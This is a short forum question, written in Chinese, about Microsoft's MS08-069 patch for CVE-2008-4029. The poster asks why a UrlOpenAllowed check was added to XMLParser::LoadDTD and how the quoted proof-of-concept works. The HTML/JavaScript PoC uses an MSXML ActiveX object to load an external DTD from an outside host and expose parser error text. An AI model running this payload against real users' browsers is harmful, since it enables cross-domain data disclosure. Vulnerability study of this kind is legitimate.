最近在看过于MS08-069的补丁,注意到其中关于CVE-2008-4029的补丁
其中在XMLParser::LoadDTD函数中看见microsoft加了一个UrlOpenAllowed函数,不清楚与CVE-2008-4029漏洞有什么关系?
还有想问大家这个POC怎么利用这个漏洞呢?
<html>
<body>
KB955218 - CVE-2008-4029 - JA
<script type="text/javascript">
var dom = new ActiveXObject("Msxml2.DOMDocument.3.0");
dom.async = false;
var url = "http://www.milw0rm.com/forfun.dtd";
var xml = "<!DOCTYPE pwn SYSTEM '" + url + "'>";
if (dom.loadXML(xml) == 0)
{
alert("Blue or Red Pill? " + dom.parseError.srcText);
}
</script>
</body>
</html>